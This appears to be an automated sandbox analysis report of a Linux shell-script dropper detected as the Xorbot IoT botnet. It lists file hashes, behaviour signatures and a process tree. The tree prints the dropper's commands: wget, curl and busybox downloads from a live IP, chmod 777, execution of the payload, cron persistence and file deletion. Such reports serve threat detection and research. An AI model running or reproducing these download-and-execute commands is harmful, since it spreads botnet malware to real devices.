Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 13:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5487a00d588e2fdee33384c6b9083650

  • SHA1

    42d5da8e0c679b5ea93e9de5acb601fd23b68d74

  • SHA256

    2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc

  • SHA512

    3d9256d28169556b0aad9cd820dc6c931c4d02608aa9749ec56e4ae3e288babc3a1e8553c5982b7998acafb808d0a49f9c296f6ee8e0b2c358c1016730e6866d

  • SSDEEP

    192:RfUJYggpIpkktsx4uxlenHOqtx547v+zFFw9Zhkkts3xlq3OqHx547vSFFw9ZvAh:RfD4uxlenj/xlqQW

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2161) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:685
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:687
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:689
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:691
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:692
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:693
              • /bin/rm
                rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
                2⤵
                  PID:709
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
                  2⤵
                    PID:712

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                  Filesize

                  127KB

                  MD5

                  89077b7bd4bcafca7713be43635c4862

                  SHA1

                  fc02edb8fba29ea8ee99e6157ef8560334530052

                  SHA256

                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                  SHA512

                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                • /var/spool/cron/crontabs/tmp.CvHvoI

                  Filesize

                  210B

                  MD5

                  34263f132ee020d06757dc12328e9081

                  SHA1

                  cbf8cceddf7f5b4534c9e2b1cbed0422b8396ba5

                  SHA256

                  a6a89343d8268712dc83b8ca8cf63d7f17b7911043fc4d4e0857f2ba4189ec0c

                  SHA512

                  fac47fbc2867de2bf5762f4d9c92ccc04bff81e09a8c4cd94c531cc5c5b2e8420cada6f08ed324f6714f9591f55855fb304eec29832540327145aef1319a6ad7